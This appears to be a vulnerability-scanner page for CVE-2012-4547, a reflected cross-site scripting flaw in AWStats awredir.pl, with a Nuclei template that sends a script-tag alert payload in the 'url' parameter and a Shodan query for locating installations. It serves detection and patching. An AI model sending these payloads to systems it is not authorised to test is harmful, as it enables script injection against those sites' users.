AWStats 6.95/7.0 - 'awredir.pl' Cross-Site Scripting

mediumseverity

4.3CVSS score

5.8%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

AWStats is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

Impact

Allows remote attackers to inject arbitrary web script or HTML via the 'url' parameter.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E ; GET {{BaseURL}}/cgi-bin/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "<script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2012-4547 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2012-4547

info:
  name: AWStats 6.95/7.0 - 'awredir.pl' Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: AWStats is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Allows remote attackers to inject arbitrary web script or HTML via the 'url' parameter.
  reference:
    - https://www.exploit-db.com/exploits/36164
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4547
    - http://awstats.sourceforge.net/docs/awstats_changelog.txt
    - http://openwall.com/lists/oss-security/2012/10/29/7
    - http://openwall.com/lists/oss-security/2012/10/26/1
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4547
    cwe-id: CWE-79
    epss-score: 0.05796
    epss-percentile: 0.93181
    cpe: cpe:2.3:a:laurent_destailleur:awstats:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: laurent_destailleur
    product: awstats
    shodan-query: cpe:"cpe:2.3:a:laurent_destailleur:awstats"
  tags: cve2012,cve,xss,awstats,edb,laurent_destailleur,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E'
      - '{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from